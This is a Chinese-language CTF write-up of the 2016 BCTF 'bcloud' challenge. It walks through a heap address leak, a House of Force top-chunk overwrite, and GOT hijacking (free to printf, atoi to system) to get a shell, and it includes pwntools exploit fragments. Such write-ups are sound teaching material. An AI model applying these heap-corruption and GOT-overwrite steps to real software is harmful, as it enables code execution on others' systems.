天天看點

2016BCTF-bcloud分析

這是一道CTF題,涉及到The House of Force技術 檔案及writeup可以在 http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html 下載下傳,另外還有 http://www.freebuf.com/news/topnews/100143.html 、 https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200 等相關參考資料。

首先運作一下,看一下大緻流程,

[email protected]:~/ctf# ./bcloud
Input your name:
123
Hey 123! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
qwe
Host:
asd
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
ssssssssssssssssss
Input the content:
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
           

然後放到IDA中靜态分析一下,為了提高可讀性,對一些變量進行了重命名。

2016BCTF-bcloud分析
2016BCTF-bcloud分析

首先分析一下input_name函數的僞代碼:

int input_name()
{
  char s; // [sp+1Ch] [bp-5Ch]@1
  int heap_of_name; // [sp+5Ch] [bp-1Ch]@1
  int v3; // [sp+6Ch] [bp-Ch]@1

  v3 = *MK_FP(__GS__, 20);
  memset(&s, 0, 0x50u);
  puts("Input your name:");
  read_user_define((int)&s, 64, 10);
  heap_of_name = (int)malloc(0x40u);
  dword_804B0CC = heap_of_name;
  strcpy((char *)heap_of_name, &s);
  print_info(heap_of_name);
  return *MK_FP(__GS__, 20) ^ v3;
}
           

我們輸入name時,儲存到s處,也就是bp-5c處,大小為0x40,在bp-1c處儲存了一個指針,指向堆記憶體,然後通過strcpy函數将s中的資料複制到heap_of_name指向的記憶體區域。這裡就有問題了 s和heap_of_name正好相距0x40 strcpy結束的标志是遇到null。看一下此時的記憶體布局:

2016BCTF-bcloud分析
2016BCTF-bcloud分析

如果此時輸入的name正好是0x40,namestrcpy時,因為name後邊不是null,而是heap_of_name,是以會将heap_of_name一塊複制到heap_of_name指向的記憶體區域,然後調用printf的時候會将堆的位址(heap_of_name)一塊列印出來。 利用exp如下: r.send("A" * 0x3c + "ZZZZ")garbage = r.recvuntil("ZZZZ")leak = u32(r.recv(4))garbage = r.recv()log.info("Leak: " + hex(leak))

下邊就是輸入組織與主機名的函數了:

int input_Org_and_Host()
{
  char Org_buffer; // [sp+1Ch] [bp-9Ch]@1
  char *Ptr_heap_of_Org; // [sp+5Ch] [bp-5Ch]@1
  char Host_buffer; // [sp+60h] [bp-58h]@1
  char *ptr_heap_of_Host; // [sp+A4h] [bp-14h]@1
  int cookie; // [sp+ACh] [bp-Ch]@1

  cookie = *MK_FP(__GS__, 20);
  memset(&Org_buffer, 0, 0x90u);
  puts("Org:");
  read_user_define((int)&Org_buffer, 64, 10);
  puts("Host:");
  read_user_define((int)&Host_buffer, 64, 10);
  ptr_heap_of_Host = (char *)malloc(0x40u);
  Ptr_heap_of_Org = (char *)malloc(0x40u);
  dword_804B0C8 = (int)Ptr_heap_of_Org;
  dword_804B148 = (int)ptr_heap_of_Host;
  strcpy(ptr_heap_of_Host, &Host_buffer);
  strcpy(Ptr_heap_of_Org, &Org_buffer);
  puts("OKay! Enjoy:)");
  return *MK_FP(__GS__, 20) ^ cookie;
}
           

記憶體布局還是差不多,如下所示:

2016BCTF-bcloud分析
2016BCTF-bcloud分析

問題跟上邊差不多 這樣我們往org中傳入64個位元組,往Host中傳入\xff\xff\xff\xff,當将org拷入*arg指向的堆時,就會将org+*org+Host一塊考入,覆寫了後邊的top chunk大小,導緻top chunk無限大。 這部分exp如下:

HOST = "B" * 0x40
wilderness = "\xff\xff\xff\xff"
r.send(HOST)
r.sendline(wilderness)
garbage = r.recv()
           

下一步就是将堆配置設定到.bss段之前,以使再次配置設定堆時配置設定到bss上。

[email protected]:~/ctf# readelf -S bcloud | grep bss
  [25] .bss              NOBITS          0804b060 002048 0000ec 00  WA  0   0 32
[email protected]:~/ctf# 
           

可以看到bss段的起始位址是:0x0804b060

int create_note()
{
  int result; // [email protected]
  signed int i; // [sp+18h] [bp-10h]@1
  int len_note; // [sp+1Ch] [bp-Ch]@7

  for ( i = 0; i <= 9 && heap[i]; ++i )
    ;
  if ( i == 10 )
  {
    result = puts("Lack of space. Upgrade your account with just $100 :)");
  }
  else
  {
    puts("Input the length of the note content:");
    len_note = read_to_int();
    heap[i] = (int)malloc(len_note + 4);
    if ( !heap[i] )
      exit(-1);
    length_of_note_content[i] = len_note;
    puts("Input the content:");
    read_user_define(heap[i], len_note, 10);
    printf("Create success, the id is %d\n", i);
    result = i;
    dword_804B0E0[i] = 0;
  }
  return result;
}
           

利用exp如下:

size = (0xffffffff - leak - 224) + bss - 4
log.info("Size: " + hex(size))
size = (0xffffffff ^ size) + 1
r.sendline("-" + str(size))
           

此處bss= length_of_note_content 224指的是建立了三個堆0x48*3加上此處建立堆的堆首及對齊共8位元組 加上在bss上建立堆的堆首4位元組( 有疑問 需要調試确定)

通過IDA靜态分析可以看到length_of_note_content位于位址.bss:0804B0A0處 heap位于位址.bss:0804B120處

這樣我們下次建立note時,資料正好寫在以length_of_note_content為起始位址的堆位址處。

利用代碼如下:

atoi = 0x804b03c
free = 0x804b014
r.sendline('1')
r.sendline('172')
# Plan - step 3: Fill out the lengths[] and notes[] arrays# with pre-defined values of sizes and GOT addresses
payload = p32(4)
payload += p32(4)
payload += p32(4)
payload += p32(0) * 29
payload += p32(atoi)
payload += p32(free)
payload += p32(atoi)
payload += p32(0) * 8
r.send(payload)
           

記憶體應該是這樣的 : heap[1]=0x0804B120+4儲存的是堆的起始位址。

gdb-peda$ x/10x 0x804b120
0x804b120:	0x0804c0e0	0x0804b0a0	0x00000000	0x00000000
0x804b130:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b140:	0x00000000	0x00000000
           

然後将使用者輸入 的content複制到 0x0804b0a0處。

gdb-peda$ x/100x 0x0804b0a0
0x804b0a0:	0x00000004	0x00000004	0x00000004	0x00000000
0x804b0b0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0c0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0d0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0e0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b0f0:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b100:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b110:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b120:	0x0804b03c	0x0804b014	0x0804b03c	0x00000000
0x804b130:	0x00000000	0x00000000	0x00000000	0x00000000
0x804b140:	0x00000000	0x00000000	0x00000000	0x00000000
           

可以看到經過複制後0x804b124處被0x0804b014替換。 0x0804b014就是[email protected]

下一步就是利用edit_note函數将free函數位址改寫為printf位址。 printf = 0x80484d0r.sendline('3')r.sendline('1')r.send(p32(printf))garbage = r.recv() 此處改寫位址 0x0804b014 這樣就将[email protected]替換為 [email protected].

是以當我們調用delete_note時:

int delete_note()
{
  int result; // [email protected]
  int v1; // [sp+18h] [bp-10h]@1
  void *ptr_to_heap; // [sp+1Ch] [bp-Ch]@4

  puts("Input the id:");
  v1 = read_to_int();
  if ( v1 >= 0 && v1 <= 9 )
  {
    ptr_to_heap = (void *)heap[v1];
    if ( ptr_to_heap )
    {
      heap[v1] = 0;
      length_of_note_content[v1] = 0;
      free(ptr_to_heap);
      result = puts("Delete success.");
    }
    else
    {
      result = puts("Note has been deleted.");
    }
  }
  else
  {
    result = puts("Invalid ID.");
  }
  return result;
}
           

其中調用了free函數,也就調用了我們替換的printf函數。正好将ptr_to_heap列印出來,這個地方ptr_to_heap正好是我們布置的atoi函數的位址。

r.sendline('4')
r.sendline('0')
garbage = r.recvuntil("Input the id:\n")
garbage = r.recvuntil("Input the id:\n", timeout=1)
atoi = u32(r.recv(4))
log.info("Atoi: " + hex(atoi))
garbage = r.recv()
           

既然已經知道了函數atoi的位址,通過偏移就可以計算出system函數的位址了。

然後我們編輯id=2的note,因為id=2已經被我們布置為atoi的位址,我們發送system的位址,将atoi位址替換為為函數system位址,然後在發送/bin/sh,就獲得了一個shell。

完整shell請見附表連結。

參考資料: http://uaf.io/exploitation/2016/03/20/BCTF-bcloud.html   http://www.freebuf.com/news/topnews/100143.html https://github.com/ctfs/write-ups-2016/tree/master/bctf-2016/exploit/bcloud-200